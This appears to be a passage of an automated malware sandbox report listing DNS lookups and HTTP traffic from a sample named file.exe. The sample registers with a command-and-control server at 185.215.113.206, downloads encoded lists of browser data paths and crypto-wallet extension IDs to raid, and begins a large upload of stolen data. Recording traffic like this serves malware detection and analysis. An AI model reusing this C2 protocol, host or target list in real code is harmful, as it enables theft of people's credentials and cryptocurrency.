Oct 31, 2024 03:04:27.582046032 CET	1.1.1.1	192.168.2.5	0xdbb7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:27.582178116 CET	1.1.1.1	192.168.2.5	0x7bb5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 31, 2024 03:04:27.599004984 CET	1.1.1.1	192.168.2.5	0x3e1b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:27.599004984 CET	1.1.1.1	192.168.2.5	0x3e1b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:28.956455946 CET	1.1.1.1	192.168.2.5	0x6f4e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:28.956455946 CET	1.1.1.1	192.168.2.5	0x6f4e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:30.986532927 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:30.986532927 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:32.003453016 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:32.003453016 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:33.015753031 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:33.015753031 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:35.020716906 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:35.020716906 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:04:35.829421043 CET	1.1.1.1	192.168.2.5	0xe08d	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 31, 2024 03:04:39.031430960 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:04:39.031430960 CET	1.1.1.1	192.168.2.5	0x3ab7	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 03:05:24.471043110 CET	1.1.1.1	192.168.2.5	0x5c79	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 03:05:31.985441923 CET	1.1.1.1	192.168.2.5	0x3eb7	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	5260	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 03:04:00.701082945 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 03:04:01.608066082 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 03:04:01.612011909 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECAFHDBGHJKFIDHJJJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 39 30 41 38 35 45 45 44 35 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 2d 2d 0d 0a Data Ascii: ------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="hwid"190A85EED5E91041095265------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="build"tale------IECAFHDBGHJKFIDHJJJE--
Oct 31, 2024 03:04:01.906459093 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 64 69 4e 7a 59 79 4d 44 4a 6a 4e 54 42 6c 4e 6a 4d 32 4d 54 4a 69 5a 47 45 31 59 7a 6b 78 5a 44 49 78 4d 54 6b 78 59 6a 6b 77 4e 6a 64 68 4e 44 46 6c 5a 6a 4d 79 4e 7a 64 6b 59 57 56 68 4d 57 4e 68 59 7a 64 6a 4e 44 56 68 4e 54 55 7a 4e 44 55 7a 4e 7a 42 6a 4e 54 6c 6c 5a 44 4d 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjdiNzYyMDJjNTBlNjM2MTJiZGE1YzkxZDIxMTkxYjkwNjdhNDFlZjMyNzdkYWVhMWNhYzdjNDVhNTUzNDUzNzBjNTllZDMyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 31, 2024 03:04:01.908054113 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="message"browsers------KFIIJJJDGCBAAKFIIECG--
Oct 31, 2024 03:04:02.190546036 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 31, 2024 03:04:02.190570116 CET	112	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFU
Oct 31, 2024 03:04:02.190579891 CET	944	IN	Data Raw: 51 53 56 63 58 45 4e 6c 62 6e 52 43 63 6d 39 33 63 32 56 79 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: QSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcXFByb2d
Oct 31, 2024 03:04:02.192367077 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="message"plugins------AEBKKECBGIIJJKECGIJE--
Oct 31, 2024 03:04:02.475764036 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 31, 2024 03:04:02.475826979 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 31, 2024 03:04:02.475837946 CET	224	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxw
Oct 31, 2024 03:04:02.475848913 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Oct 31, 2024 03:04:02.475862026 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Oct 31, 2024 03:04:02.475873947 CET	424	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Oct 31, 2024 03:04:02.476161957 CET	1236	IN	Data Raw: 5a 32 70 76 5a 33 42 76 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 Data Ascii: Z2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25
Oct 31, 2024 03:04:02.476178885 CET	516	IN	Data Raw: 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 Data Ascii: b2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFd
Oct 31, 2024 03:04:02.477993011 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 62 37 36 32 30 32 63 35 30 65 36 33 36 31 32 62 64 61 35 63 39 31 64 32 31 31 39 31 62 39 30 36 37 61 34 31 65 66 33 32 37 37 64 61 65 61 31 63 61 63 37 63 34 35 61 35 35 33 34 35 33 37 30 63 35 39 65 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 44 2d 2d 0d 0a Data Ascii: ------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="token"67b76202c50e63612bda5c91d21191b9067a41ef3277daea1cac7c45a55345370c59ed32------GIIIECBGDHJJKFIDAKJDContent-Disposition: form-data; name="message"fplugins------GIIIECBGDHJJKFIDAKJD--
Oct 31, 2024 03:04:02.760169029 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 31, 2024 03:04:02.780191898 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBAKEHIEBKJJJJJKKKEG Host: 185.215.113.206 Content-Length: 7307 Connection: Keep-Alive Cache-Control: no-cache
